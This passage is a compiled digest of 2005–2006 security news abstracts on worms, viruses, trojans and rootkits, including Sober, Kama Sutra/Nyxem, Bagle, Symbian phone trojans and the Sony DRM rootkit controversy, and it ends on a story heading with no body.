Instant-messaging (IM) threats are mutating at an alarming rate, as virus writers attempt to bypass security-system updates that corporations use for protection. A record number of IM threat mutations have been recorded by IMlogic Inc., which has found that 88 percent of all worms tracked by its threat center also have mutations. The worst chameleon is the Kelvir worm, which has mutated 123 times during the last 11 months, the Waltham, Mass., vendor said. Art Gilliland, vice president of product for IMlogic, said, "IM threats are different than email threats. Updating virus signatures doesn't work well for IM, because the mutations are exceedingly fast and so is the speed with which these threats propagate."

Category 14.2 Worms

2005-12-02 **virus worm Sober MSN Hotmail denial-of-service DoS Comcast**

DHS IAIP Daily;
http://news.com.com/Sober+worm+stalls+MSN,+Hotmail/2100−7349 _3−
5980987.html?part=rss&tag=5980987&subj=news

SOBER WORM STALLS MSN, HOTMAIL

A variant of Sober known as Win32/Sober.Z@mm is to blame for disrupting e-mail traffic between Comcast account holders and user's of Hotmail and MSN Friday, December 2. These Microsoft-based e-mail servers are getting pummeled with an "unusually high mail load," causing delays in e-mail delivery to Hotmail and MSN customers, said Brooke Richardson, MSN's lead product manager. Richardson also indicated that Internet service providers besides Comcast may be having problems directing e-mail to Hotmail and MSN servers. "We are working with Comcast and other ISPs to address [the] issues," Richardson said. Blog reports say that some Comcast subscribers, when sending e-mail to a Hotmail or MSN account, have received an error message saying their message was not received. However, Microsoft says that all e-mails, while some may be delayed, are eventually getting through.

Category 14.2 Worms

2005-12-05 **Blaster worm active Microsoft Windows malicious software removal tool**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1896373,00.asp

TWO YEARS LATER, BLASTER WORM STILL THRIVING

More than two years after the Blaster Worm proliferated, the worm is still very much alive and there are fears within Microsoft that thousands of Windows machines will never be completely dewormed. According to statistics culled from Microsoft's Windows malicious software removal tool, between 500 and 800 copies of Blaster are removed from Windows machines per day. "The continued prevalence of [Blaster] is likely due to infected computers which, for one reason or another, will never be updated or disinfected. These computers will serve as eternal carriers for the worm," says Matthew Braverman, a program manager in Microsoft's Anti-Malware Engineering Team. In a case study on Blaster presented to the Virus Bulletin conference in October, Braverman said Blaster ranked in the top five of the most prevalent worms removed by the anti-malware utility. Braverman said the worm continues to be prevalent on a whopping 79 percent all Windows XP (Gold) machines and 21 percent of all Windows XP SP1 systems. On Windows XP SP2, infections are almost nonexistent, Braverman said, pointing out that XP SP2 systems went through a major post-Blaster security overhaul that means those systems cannot be infected through Blaster's main replication vector.

Category 14.2 Worms

2005-12-06 **instant messaging AOL AIM worm chat dupe payload activation IMLogic**

DHS IAIP Daily;
http://news.com.com/New+IM+worm+chats+with+intended+victims/ 2100−
7349_3−5984845.html?tag=cd.top

NEW INSTANT MESSENGER WORM CHATS WITH INTENDED VICTIMS

A new worm that targets users of America Online's AOL Instant Messenger (AIM) is believed to be the first that actually chats with the intended victim to dupe the target into activating a malicious payload, IM security vendor IMlogic warned Tuesday, December 6. According to IMlogic, the worm, dubbed IM.Myspace04.AIM, has arrived in instant messages that state: "lol thats cool" and included a URL to a malicious file "clarissa17.pif." When unsuspecting users have responded, perhaps asking if the attachment contained a virus, the worm has replied: "lol no its not its a virus", IMlogic said. The malicious file disables security software, installs a backdoor and tweaks system files, the company said. Then it starts sending itself to contacts on the victim's buddy list. Another worm discovered Tuesday, dubbed Aimdes.E, targets AIM users and arrives with the message: "The user has sent you a Greeting Card, to open it visit:" followed by a link, according to security specialist Akonix Systems. Once the target clicks on the link, the worm installs itself on the system. It opens a backdoor on the computer and sends itself to contacts on the buddy list, Akonix said.

Category 14.2 Worms

2005-12-09 **anti-virus vendors Sober code cracked FBI CIA e-mail spoofing F-secure blog**

DHS IAIP Daily; http://news.com.com/Sober+code+cracked/2100−7349_3−5989094.html?tag=nl

ANTIVIRUS COMPANIES: SOBER CODE CRACKED

The latest variant of the Sober worm caused havoc in November by duping users into executing it by masking itself as e-mails from the Federal Bureau of Investigation and the Central Intelligence Agency. Antivirus companies were aware that the worm somehow knew how to update itself via the Web. The worm's author programmed this functionality to control infected machines and, if required, change their behavior. On Thursday, December 8, Finnish antivirus firm F-Secure revealed that it had cracked the algorithm used by the worm and could now calculate the exact URLs the worm would check on a particular day. Mikko Hypponen, chief research officer at F-Secure, explained that the virus' author has not used a constant URL because authorities would easily be able to block it. "Sober has been using an algorithm to create pseudorandom URLs which will change based on dates. Ninety-nine percent of the URLs simply don't exist...However, the virus' author can pre-calculate the URL for any date, and when he wants to run something on all the infected machines, he just registers the right URL, uploads his program and BANG! It's run globally on hundreds of thousands of machines," Hypponen wrote in his blog.

Category 14.2 Worms

2006-01-18 **new worm VB.bi threat charts January 2006**

DHS IAIP Daily; http://www.informationweek.com/news/showArticle.jhtml?articleID=177101528

NEW WORM HITS THE TOP OF THE THREAT CHARTS

A worm that debuted Tuesday, January 17, had quickly climbed the malware chart to the number three spot by Wednesday, January 18, a Finnish security company said. With a variety of names -- F-Secure calls it VB.bi, Symantec dubs it Blackmal.e, McAfee labels it MyWife.d -- the worm, said Helsinki-based F-Secure, is a simple Visual Basic (VB) construction that arrives as an e-mail file attachment. The worm also spreads through shared folders, and when activated tries to disable a number of security programs, including those sold by Symantec, McAfee, Trend Micro, and Kaspersky Labs. One of its distinguishing features, noted the Internet Storm Center (ISC) in its alert is that "the attachment can be either an executable file or a MIME file that contains an executable file." The latter tactic is meant to conceal the payload's danger; the MIME format is rarely used by attackers. One of the last great MIME-based attacks was the Nimda worm of 2001. Symantec, which tagged the worm with a "2" in its 1 through 5 threat scale, has posted a free-of-charge removal tool on its Website that deletes all traces of the malware.

Category 14.2 Worms

2006-01-20 **worm malicious code Microsoft Office documents F-Secure**

DHS IAIP Daily; http://www.techweb.com/showArticle.jhtml?articleID=177102371

NEW WORM CORRUPTS MICROSOFT DOCUMENTS.

A new worm that already accounts for one in every 15 pieces of malicious code carries a "nuclear option" payload that corrupts data in a slew of popular file formats, a security company warned Friday, January 20. The Nyxem.e worm, said Finnish security firm F-Secure, carries code that instructs it to replace data in files with .doc, .xls, .mdb, .mde, .ppt, .pps, .zip, .rar, .pdf, .psd, or .dmp extensions with the useless string "DATA Error [47 0F 94 93 F4 K5]" on the third of the month. This list includes the native document formats for Microsoft Word, Excel, PowerPoint, and Access, as well as for Adobe PhotoShop and Acrobat. Nyxem.e is similar to the VB.bi/Blackmal/MyWife.d worm that climbed the charts earlier last week, added F-Secure. The worm arrives as an attachment to e-mail messages with a variety of subject headlines, many of which tout porn with phrases. It also tries to delete selected security software, and can spread through shared folders as well as by hijacking addresses from infected PCs.

Category 14.2 Worms

2006-01-24 **Kama Sutra worm ActiveX Windows digital signature spoofing**

DHS IAIP Daily;
http://www.securitypipeline.com/news/177103403;jsessionid=BW
MKMS524JJFQQSNDBGCKHSCJUMEKJVN

KAMA SUTRA WORM SPOOFS DIGITAL CERTIFICATES.

The Kama Sutra worm can fool Windows into accepting a malicious ActiveX control by spoofing a digital signature, a security company said Tuesday, January 24. Sunnyvale, CA-based Fortinet said the worm -- which also goes by names such as Nyxem.e, MyWife.d, Grew.a, and Blackmal.e -- adds 18 entries to the Windows Registry to slip the ActiveX control by the operating system's defenses. "By creating the following entries, the control is considered 'safe' and digitally signed," said the Fortinet advisory. The ActiveX control, added Fortinet, is used by the worm to automatically run its code each time the PC is turned on and Windows boots. "The threat of worms like this will make them much more dangerous in the future," said Bojan Zdrnja, an analyst for the Internet Storm Center, on the group's site. As of late Monday, January 23, the Kama Sutra worm had infected more than 630,000 systems, said the Internet Storm Center. The worm is considered particularly dangerous because it contains code that triggers an overwrite of all .doc, .xls, .mdb, .mde, .ppt, .pps, .zip, .rar, .pdf, .psd, and .dmp files on the third of each month.

Category 14.2 Worms

2006-02-07 **Kama Sutra worm hype overblown Microsoft anti-malware team manager blog**

DHS IAIP Daily; http://www.securitypipeline.com/news/179101481

MICROSOFT SAYS KAMA SUTRA WORM OVERBLOWN.

As users and security firms reported little damage done by the Kama Sutra worm, a manager of Microsoft's anti-virus development team warned that overhyping threats could lead to a "cry wolf" syndrome where future alerts aren't taken seriously. "Too much hype in situations that end in false alarms ends up diluting the meaning of warnings for true worldwide threats," wrote Matt Braverman, a program manager with Microsoft's anti-malware team, on the group's blog. In particular, Braverman criticized those who called out warnings based on a Web counter that, though initially reporting the number of Kama Sutra infections accurately, was manipulated later in the process to claim millions of machines had been compromised. Braverman's comments were in sync with earlier positions taken by Microsoft in January on the worm.

Category 14.2 Worms

2006-02-15 **Google hacking trend worm search phpBB server attack**

DHS IAIP Daily; http://www.vnunet.com/articles/print/2150292

GOOGLE 'HACKING' OCCURS WITH THE OBJECTIVE TO FIND SENSITIVE INFORMATION ON THE INTERNET.

Malware authors are increasingly creating digital pests that use Google to find their next victim. Using the search tool for automated vulnerability detection is the latest trend in a technique known as 'Google hacking.' George Kurtz, senior vice president for risk management at security firm McAfee, told VNUNet about the phenomenon after a presentation at the RSA Conference in San José. The Santy.a worm, for instance, targeted a known vulnerability in some versions of the phpBB open source bulletin board application to deface Websites. It found its victims through an automated Google search query. Google eventually stopped the worm from spreading by blocking all searches that would turn up servers running the application. But the search engine is able to detect the abuse only if the queries stand out from other searches. Google 'hacking' does not mean breaking into the company's servers but involves online criminals using Google and other search engines to find sensitive information on the Internet. Pictures and screenshots of 'Google hacks':
http://www.siliconvalleysleuth.com/2006/02/things_you_dont.html

---

Category 14.2 Worms

2006-03-03 **new Bagle worm social engineering legal action threat**

DHS IAIP Daily; http://www.informationweek.com/news/showArticle.jhtml?articl
eID=181500852&subSection=Columns

NEWEST BAGLE WORM THREATENS LEGAL ACTION.

Another Bagle worm appeared Friday, March 3. Bagle.do, said UK-based Sophos, spreads in e-mails with subject lines such as "Lawsuit against you." The attached file, with names like "lawsuit.exe," purports to be supporting legal documents. Launching the executable file infects the PC with a backdoor and lowers the machine's security settings, and may end up with more malicious code downloaded to the system from a slew of Websites.

Category 14.2 Worms

2006-03-29 **new Bagle worm rootkit Trojan features F-Secure report mass infection**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1944133,00.asp

LATEST BAGLE WORM HAS STEALTH CAPABILITIES

Malicious hackers have fitted rootkit features into the newest mutants of the Bagle worm, adding a stealthy new danger to an already virulent threat. According to virus hunters at F-Secure, of Helsinki, Finland, the latest Bagle.GE variant loads a kernel-mode driver to hide the processes and registry keys of itself and other Bagle-related malware from security scanners. The use of offensive rootkits in existing virus threats signals an aggressive push by attackers to get around existing anti-virus software and maintain a persistent and undetectable presence on infected machines. The Bagle threat started as a simple e-mail executable in 2004 but has grown and evolved over the years to become one of the most active threats against PC users. Security researchers estimate that the numerous Bagle variants have infected more computers than any other virus group.

Category 14.2 Worms

2006-04-18 **hackers issue patch spam spyware warning F-Secure Bagle worm family**

DHS IAIP Daily; http://www.esecurityplanet.com/article.php/3599831

HACKERS ISSUE OWN 'PATCH' TO INFECTED COMPUTERS.

The gang of virus writers behind the virulent Bagle family of worms has issued a patch to its malicious code. This past Sunday, April 16, computers infected with several different variants of the Bagle worm began downloading an updated version -- a new spam tool used by hackers to send out unwanted bulk e-mail. "They've programmed the virus to contact the central Website to see if there's an update available and if there is, they will download and run this new malicious code. This technique -- we call it second-state activation -- is a way the virus writers can add additional programs and run them on the infected machines," says Mikko Hypponen chief research officer for F-Secure Corp.

14.3 Virus/worms

Category 14.3 Virus/worms

2005-10-06 **Common Malware Enumeration CME taxonomy disagreement security experts malicious software**

EDUPAGE; http://news.com.com/2100-7348_3-5890038.html

MALWARE NAMING SCHEME PROMPTS DISAGREEMENT

Security experts are of two minds concerning the release of a scheme to provide common names for malicious software. The Common Malware Enumeration (CME) system is designed to eliminate the confusion that often arises when a new piece of malware begins circulating the Internet. As different security companies identify the code, they typically assign different names, causing confusion among computer users as to whether there are multiple threats that need to be addressed or simply one new threat with several names. Starting with the most common and damaging pieces of malware, CME will assign a unique number to each. Trend Micro's David Perry criticized the program for not covering all malware, however. He also said the scheme won't provide any benefit for consumers. His comments were echoed by IBM's Martin Overton, who said CME will make matters worse, and by Boeing's Jeanette Jarvis. Graham Cluley of Sophos, on the other hand, applauded the new system. Larry Bridwell, content security programs manager for security watchdog ICSA, also supports the naming scheme, calling it a good first step and pointing out that it was "never designed to solve the naming problem" but rather to serve "as an index." CNET, 6 October 2005

Category 14.3 Virus/worms

2005-10-06 **Vnunet Security virus US CERT Internet worms threats CME malware CVE**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2143314/security−
industry− gathers

SECURITY INDUSTRY ADOPTS UNIFORM VIRUS NAMES

The US Computer Emergency Readiness Team (US-CERT) has kicked of an initiative to create common names for Internet worms and threats. Common Malware Enumeration (CME) aims to reduce confusion with the public caused by disparate naming schemes for Internet threats. Currently Internet worms are often named using information about the virus or a follow a description the author entered when crafting the malware. The new scheme will use a sequential CME number, beginning with CME-1. A similar naming system already exists for security vulnerabilities in software, which uses a Common Vulnerability and Exposure (CVE) identifier. However, CME differs from CVE in that the worm naming initiative will not include the date.

Category 14.3 Virus/worms

2005-10-26 **Zotob damage businesses worm Cybertrust Internet vulnerabilities Nimba MSBlast Windows**

DHS IAIP Daily;
http://news.com.com/Zotob+damage+deep+but+not+widespread/210
0−7355_3−5915591.html?tag=nefd.top

ZOTOB DAMAGE DEEP BUT NOT WIDESPREAD

Fewer businesses fell victim to the Zotob worm that struck corporate networks in August than previous attacks, according to a report released on Wednesday, October 26, by computer security firm Cybertrust. Of 700 organizations surveyed, 13 percent were disrupted by the worm. Six percent of survey respondents said Zotob's impact on their company was moderate to major, which was defined as more than $10,000 in losses and at least one major business system affected, such as e-mail or Internet connectivity. According to the study, Zotob did far less damage than did other major worms designed to exploit Windows vulnerabilities. For example, the Nimda and 8 MSBlast worm made a moderate to major impact on 60 percent and 30 percent of companies, respectively. Zotob was less widespread, in part, because it targeted only PCs running Windows 2000. The worm exploited a hole in the operating system's plug-and-play feature, and let attackers take control of infected machines. Twenty-six percent of Zotob victims noted that infections occurred because they had no firewall in place. The health care industry was hit hardest, with more than a quarter of that sector's organizations reporting some impact. Cybertrust report: http://www.cybertrust.com/pr_events/2005/20051026.shtml

---

14.4 Trojans & rootkits

Category 14.4 Trojans & rootkits

2005-01-13 **cellery worm malware tetris bandwidth saturation denial-of-service DoS trojan**

NewsScan; http://news.bbc.co.uk/1/hi/technology/4170903.stm

CELLERY WORM PLAYS GAMES WITH VICTIMS

Users are being warned about the Cellery worm -- a Windows virus that piggybacks on the hugely popular Tetris game. Rather than spreading itself via e-mail, Cellery installs a playable version of Tetris on the user's machine. When the game starts up, the worm seeks out other computers it can infect on the same network. The virus does no damage, but could result in clogged traffic on heavily infected networks. "If your company has a culture of allowing games to be played in the office, your staff may believe this is simply a new game that has been installed -- rather than something that should cause concern," says a spokesman for computer security firm Sophos. (BBC News 13 Jan 2005)

Category 14.4 Trojans & rootkits

2005-04-08 **hacker bogus Microsoft update patches e-mail Trojan Horse installation**

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,3919430
2,00.htm

HACKERS SEND FLOOD OF BOGUS MICROSOFT UPDATES

On Thursday, April 7, the same day that Microsoft announced details of its next round of monthly patches, hackers sent out a wave of emails disguised as messages from the software company in a bid to take control of thousands of computers. The emails contain bogus news of a Microsoft update, advising people to open a link to a Web site and download a file that will secure and 'patch' their PCs. The fake Website, which is hosted in Australia, looks almost identical to Microsoft's and the download is actually a Trojan horse — a program that can give hackers remote control of a computer. Microsoft said it is looking into the situation.

Category 14.4 Trojans & rootkits

2005-04-14 **rootkits security problem antivirus vendor warning malicious actions lack of statistics information**

DHS IAIP Daily;
http://informationweek.com/story/showArticle.jhtml?articleID=160900692

ROOTKITS COULD POSE A SERIOUS SECURITY PROBLEM

The hacker equivalent of a cloak of invisibility may cause serious problems for users and anti-virus vendors, a security expert said Thursday, April 14. Rootkits are tools used by hackers to cover their tracks. Rootkits can hide the existence of other malware on a computer by modifying file data, Windows registry keys, or active processes, all of which are used by malicious code detection software to spot worms, viruses, and spyware that's been installed on a PC. They're commonly used by spyware writers, but they're now gaining popularity among virus writers, say some security analysts. According to Panda Software's research director, rootkits for Windows are proliferating. "Even though they're not new, rootkits have re-emerged as a kind of malware that could let hackers discreetly carry out numerous malicious actions," said Luis Corrons. "We've seen that they're being used in combination with backdoors to take remote control of computers." But Ken Dunham, the director of malicious code research for iDefense, is not as convinced as others that rootkits for Windows are that big of a deal. "I think it's a growing trend, but it's really hard to identify [the scope]. There just aren't a lot of stats."

Category 14.4 *Trojans & rootkits*

2005-04-20 **Trojan Horse attack Symbian cell phone wireless mobile phone industry concern SimSecure F-Secure**

DHS IAIP Daily;
http://news.com.com/Trojan+horses+take+aim+at+Symbian+cell+p hones/2100
−7349_3−5678211.html

TROJAN HORSES TAKE AIM AT SYMBIAN CELL PHONES

The recent discovery of a large number of malicious mobile phone programs should raise concerns throughout the wireless industry, according to a virus tracker. Cell phone antivirus software company SimWorks reported Wednesday, April 20, that 52 new Trojan horses are hidden inside several different cell phones games and other readily available mobile phone software. While the software appears to be safe to share or use, the Trojans actually contain malicious software that crashes many critical cell phone system components. The Trojan horses target only cell phones that use Symbian, an advanced operating system. To date, no phones have been affected, according to Aaron Davidson, chief executive officer of SimWorks. While the damage is negligible so far, the recent warnings from SimWorks and security specialist F-Secure are raising alarm bells in the wireless industry. The latest report brings the total number of known Symbian Trojan horses to more than 100.

Category 14.4 *Trojans & rootkits*

2005-06-04 **hacker attack Trojan horses botnet building warning Bagle virus code organized crime**

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1823633,00.asp

ANTI-VIRUS COMPANIES WARN OF TROJAN ATTACK THAT BUILDS BOTNETS

Anti-virus researchers are sounding the alert for a massive, well-coordinated hacker attack using three different Trojans to hijack PCs and create botnets-for-hire. The three-pronged attack is being described as "unprecedented" because of the way the Trojans communicate with each other to infect a machine, disable anti-virus software and leave a back door open for future malicious use. Roger Thompson, director of malicious content research at Computer Associates International Inc. said that this attack "… clearly points to a very well-organized group either replenishing existing botnets or creating new ones." Once the three Trojans are installed, the infected computer becomes part of a botnet and can be used in spam runs, distributed denial-of-service attacks or to log keystrokes and steal sensitive personal information. According to CA's Thompson, the success of the three-pronged attack could signal the end of signature-based virus protection if Trojans immediately disable all means of protection. He said he thinks the attack, which used virus code from the Bagle family, is the work of a very small group of organized criminals. With the rapid proliferation of new types of virus, Trojan and worm attacks, PC users are urged to be strict about following security guidance.

Category 14.4 *Trojans & rootkits*

2005-06-16 **United Kingdom UK cyber infrastructure Trojan horse attack Far East**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2138105/uk−
infrastructure− trojan−attack

UNITED KINGDOM'S CYBER INFRASTRUCTURE UNDER TROJAN ATTACK

Parts of the United Kingdom's (UK) key computer systems are being targeted by Trojan software apparently originating from the Far East, according to the National Infrastructure Security Coordination Centre (NISCC). Both the UK government and private companies are being targeted, and an NISCC bulletin lists 76 Trojan programs that have been detected. The organization claims that the IP addresses on the e-mails often come from the Far East. "Trojan capabilities suggest that the covert gathering and transmitting of otherwise privileged information is a principal goal," stated the bulletin. "The attacks normally focus on individuals who have jobs working with commercially or economically sensitive data." The bulletin also warned that firewalls and antivirus software do not protect against the Trojans as they can be modified by security code to avoid signature traces. NISCC Bulletin: http://www.niscc.gov.uk/niscc/docs/ttea.pdf

---

Category 14.4 *Trojans & rootkits*

2005-07-04 **The Register Symbian Trojan phones Doomboot mobile smartphones Bluetooth battery Finnish**

DHS IAIP Daily;
http://www.theregister.co.uk/2005/07/04/symbian_trojan_doomb oot/

SYMBIAN TROJAN DRAINS THE LIFE FROM PHONES

Virus writers have created a new Symbian Trojan called Doomboot-A that loads an earlier mobile virus (Commwarrior-B) onto vulnerable smartphones. Doomboot-A also preventing infected phones from booting up properly. "Doomboot-A causes the phone not to boot anymore and Commwarrior causes so much Bluetooth traffic that the phone will run out of battery in less than one hour. Thus the user who gets his phone infected with Doomboot-A has less than one hour to figure out what is happening and disinfect his phone, or he will lose all data," writes Jarno Niemela, a researcher at Finnish anti-virus firm F-Secure. "The Doomboot-A installation does not give any obvious clues that something is wrong, and Commwarrior-B does not have icon and is not visible in the process list. So the installation of Doomboot-A looks very much like failed installation of pirate copied game, and [a] user has hard time noticing that something bad is happening," he added. Doomboot-A, like most Symbian Trojans, poses as a pirate copy of a Symbian game (in this case Doom 2). Users who avoid pirated games or applications should be safe from infection.

Category 14.4 *Trojans & rootkits*

2005-10-19 **Rootkit professional commercialization worm evade antivirus scanners StillSecure intrusion vulnerability network applications**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2144149/rootkits−turn−
prof essional

ROOTKIT CREATORS TURN PROFESSIONAL

Security experts are reporting a surge in the level of professionalism and commercialization in the creation of rootkits, a tool that helps worm authors slip past malware detection tools. Antivirus vendor F-Secure has reported that it has detected a new rootkit designed to bypass detection by most of the modern rootkit detection engines. Traditionally a rootkit would be designed to evade only one security product, such as Symantec's or F-Secure's antivirus scanners. Allen Schimel, chief strategy officer at StillSecure, a developer of intrusion detection, vulnerability management, and network access control applications, says "These rootkits just cranked it up a notch in their ability to evade multiple antivirus products." Schimel also warns that if these tools are effective in penetrating a computer's defenses, more worm authors are likely to start using them. The version of the rootkit detected by F-Secure is called Golden Hacker Defender.

Category 14.4 *Trojans & rootkits*

2005-10-31 **digital rights management DRM SONY CD-ROM rootkit Trojan copyright protection malware malicious software**

http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html 09

SONY DRM INSTALLS ROOTKIT

On Oct. 31, Mark Russinovich broke the story in his blog: Sony BMG Music Entertainment distributed a copy-protection scheme with music CDs that secretly installed a rootkit on computers. This software tool is run without your knowledge or consent -- if it's loaded on your computer with a CD, a hacker can gain and maintain access to your system and you wouldn't know it.

The Sony code modifies Windows so you can't tell it's there, a process called "cloaking" in the hacker world. It acts as spyware, surreptitiously sending information about you to Sony. And it can't be removed; trying to get rid of it damages Windows.

This story was picked up by other blogs ..., followed by the computer press. Finally, the mainstream media took it up.

The outcry was so great that on Nov. 11, Sony announced it was temporarily halting production of that copy-protection scheme. That still wasn't enough -- on Nov. 14 the company announced it was pulling copy-protected CDs from store shelves and offered to replace customers' infected CDs for free….

[The text above is the start of Bruce Schneier's analysis of the implications of the SONY DRM rootkit case -- more in the entry specifically about his analysis on 17 Nov 2005.]

Category 14.4 *Trojans & rootkits*

2005-11-17 **digital rights management DRM SONY CD-ROM rootkit Trojan copyright protection malware malicious software collusion antivirus incompetence failure false negative**

Schneir On Security; 24 09
http://www.schneier.com/blog/archives/2005/11/sonys_drm_rootk.html

SCHNEIER BLASTS INDUSTRY COLLUSION FOR TOLERATING SONY DRM ROOTKIT

In a blistering analysis of the SONY DRM rootkit debacle, security guru Bruce Schneier attacked big antivirus makers Symantec and McAfee and industry giant Microsoft for tolerating the rootkit since mid-2004. The fundamental problem is collusion:

>The story to pay attention to here is the collusion between big media companies who try to control what we do on our computers and computer-security companies who are supposed to be protecting us.

Initial estimates are that more than half a million computers worldwide are infected with this Sony rootkit. Those are amazing infection numbers, making this one of the most serious internet epidemics of all time -- on a par with worms like Blaster, Slammer, Code Red and Nimda.

What do you think of your antivirus company, the one that didn't notice Sony's rootkit as it infected half a million computers? And this isn't one of those lightning-fast internet worms; this one has been spreading since mid-2004. Because it spread through infected CDs, not through internet connections, they didn't notice? This is exactly the kind of thing we're paying those companies to detect -- especially because the rootkit was phoning home.

But much worse than not detecting it before Russinovich's discovery was the deafening silence that followed. When a new piece of malware is found, security companies fall over themselves to clean our computers and inoculate our networks. Not in this case.

McAfee didn't add detection code until Nov. 9, and as of Nov. 15 it doesn't remove the rootkit, only the cloaking device. The company admits on its web page that this is a lousy compromise. "McAfee detects, removes and prevents reinstallation of XCP." That's the cloaking code. "Please note that removal will not impair the copyright-protection mechanisms installed from the CD. There have been reports of system crashes possibly resulting from uninstalling XCP." Thanks for the warning.

Symantec's response to the rootkit has, to put it kindly, evolved. At first the company didn't consider XCP malware at all. It wasn't until Nov. 11 that Symantec posted a tool to remove the cloaking. As of Nov. 15, it is still wishy-washy about it, explaining that "this rootkit was designed to hide a legitimate application, but it can be used to hide other objects, including malicious software."

The only thing that makes this rootkit legitimate is that a multinational corporation put it on your computer, not a criminal organization.

You might expect Microsoft to be the first company to condemn this rootkit. After all, XCP corrupts Windows' internals in a pretty nasty way. It's the sort of behavior that could easily lead to system crashes -- crashes that customers would blame on Microsoft. But it wasn't until Nov. 13, when public pressure was just too great to ignore, that Microsoft announced it would update its security tools to detect and remove the cloaking portion of the rootkit.

Perhaps the only security company that deserves praise is F-Secure, the first and the loudest critic of Sony's actions. And Sysinternals, of course, which hosts Russinovich's blog and brought this to light.

Bad security happens. It always has and it always will. And companies do stupid things; always have and always will. But the reason we buy security products from Symantec, McAfee and others is to protect us from bad security.

I truly believed that even in the biggest and most-corporate security company there are people with hackerish instincts, people who will do the right thing and blow the whistle. That all the big security companies, with over a year's lead time, would fail to notice or do anything about this Sony rootkit demonstrates incompetence at best, and lousy ethics at worst.

Microsoft I can understand. The company is a fan of invasive copy protection -- it's being built into the next version of Windows. Microsoft is trying to work with media companies like Sony, hoping Windows becomes the media-distribution channel of choice. And Microsoft is known for watching out for its business interests at the expense of those of its customers.

What happens when the creators of malware collude with the very companies we hire to protect us from that malware?

We users lose, that's what happens. A dangerous and damaging rootkit gets introduced into the wild, and half a million computers get infected before anyone does anything.

Who are the security companies really working for? It's unlikely that this Sony rootkit is the only example of a media company using this technology. Which security company has engineers looking for the others who might be doing it? And what will they do if they find one? What will they do the next time some multinational company decides that owning your computers is a good idea?

These questions are the real story, and we all deserve answers.<

Category 14.4 Trojans & rootkits

2006-01-23 **Trojan e-mail social engineering credit card warning**

DHS IAIP Daily; http://www.theregister.co.uk/2006/01/23/trojan_blitz/

TROJAN BLITZ POSES AS CREDIT CARD WARNING.

Businesses in the United Kingdom faced a barrage of 115,000 e-mails containing a new Trojan on Friday, January 20, before anti-virus vendors scrambled out an update, according to e-mail filtering firm BlackSpider Technologies. The Trojan downloader malware -- called Agent-ADO -- comes in the payload to a message that poses as a warning about a user's credit card limits being exceeded. BlackSpider detected the malware at 9:10 a.m. GMT Friday, January 20. But it was three-and-a-half hours before the first anti-virus vendor used by BlackSpider issued a patch, once again illustrating the shortcomings of conventional anti-virus scanners in fighting fast-moving virus outbreaks. Infected emails commonly have the subject line "ERROR:YOUR CREDIT CARD OVERDRAFT EXCEED!" and an infected attachment, a packed executable file called FILE1185 which is 5592 bytes long. Analysis of the malware is ongoing. System administrators are encouraged to set up rules to block the malware at the gateway. Virus writers commonly use networks of compromised PCs to seed infection over a short space of time but the ferocity of the latest attack is unusual.

Category 14.4 Trojans & rootkits

2006-01-23 **four new Trojan horses mobile phones PCs**

DHS IAIP Daily;
http://www.techworld.com/security/news/index.cfm?NewsID=5219

FOUR NEW TROJANS ON THE LOOSE.

Four new Trojans are on the loose, three aimed at mobile phones and a fourth at PCs, anti-virus companies have warned. The mobile phone worms are disguised as legitimate applications and spread via Bluetooth or multimedia messages and affect phones running Symbian. The computer worm spreads via e-mail and purports to offer pornography. The phone worms -- Bootton.E, Pbstealer.D and Sendtool.A -- have a low infection rate at the moment. The first was spotted last week by F-Secure and Symantec and is perhaps the most potentially crippling of the three to those infected. It restarts the mobile but also releases corrupted components that cause a reboot to fail, leaving the device unusable. Fortunately, the phone worms are unlikely to spread very far. Unlike worms on computers, the Trojan horses hitting cell phones spread as attachments that require users to download them. The PC worm, Nyxem, however, is spreading rapidly and carries a potentially destructive set of instructions. Also nicknamed the Kama Sutra worm, it is programmed to overwrite all of the files on computers it infects on Friday, February 3, said Mikko Hypponen, chief research officer at F-Secure Corp. So far, there's no indication where Nyxem originated.

Category 14.4 Trojans & rootkits

2006-02-17 **Sony rootkit stealth software involuntary installation DHS worry regulation laws**

DHS IAIP Daily;
http://www.infoworld.com/article/06/02/17/75492_HNrootkitreg ulation_1.html

SONY ROOTKIT MAY LEAD TO REGULATION; DHS WORRIED ABOUT POTENTIAL VULNERABILITIES.

A U.S. Department of Homeland Security (DHS) official warned Thursday, February 17, that if software distributors continue to sell products with dangerous rootkit software, as Sony BMG Music Entertainment recently did, legislation or regulation could follow. "We need to think about how that situation could have been avoided in the first place," said Jonathan Frenkel, director of law enforcement policy with the DHS Border and Transportation Security Directorate, who was speaking at the RSA Conference 2006 in San Jose, CA. Last year, Sony began distributing XCP software in some of its products. This digital rights management software, which used rootkit cloaking techniques normally employed by hackers, was later found to be a security risk, and Sony was forced to recall millions of its CDs. While Sony's software was distributed without malicious intent, DHS is worried that a similar situation could occur again, this time with more serious consequences. "It's a potential vulnerability that's of strong concern to the department," Frenkel said. Though DHS has no ability to implement the kind of regulation that Frenkel mentioned, the organization is attempting to increase industry awareness of the rootkit problem.

Category 14.4 Trojans & rootkits

2006-02-25 **Panda Software discovery viruses-for-sale Website**

DHS IAIP Daily; http://arstechnica.com/news.ars/post/20060225−6264.html

MALWARE MOVES UP, GOES COMMERCIAL.

Engineers at Panda Software uncovered evidence last week that led them to a Website touting custom-built viruses for sale. For the price of $990, a user gets his or her own pet Trojan horse, complete with tech support. If the file is discovered -- as this current model was -- the designer provides a guarantee to alter it so that it may continue to avoid detection in the face of updated antivirus software. The Trojan goes by the moniker Trj/Briz.A, and scans the user's hard drive for information that could be used for financial and identity data. It then sends that information to an attacker working behind the scenes. Additional features include the ability to gather IP addresses and in some cases, the physical location of infected computers. It can also modify the machine to prevent access to Websites devoted to antivirus products. The file that causes the Trj/Briz.A infection is called "iexplore.exe." It uses this name to pass itself off as Internet Explorer.

Category 14.4 Trojans & rootkits

2006-02-28 **Trojan cell phone Java RedBrowser Russia Kaspersky Lab**

DHS IAIP Daily;
http://news.com.com/Russian+phone+Trojan+tries+to+ring+up+ch arges/2100−7349_3−6044266.html

RUSSIAN PHONE TROJAN TRIES TO RING UP CHARGES.

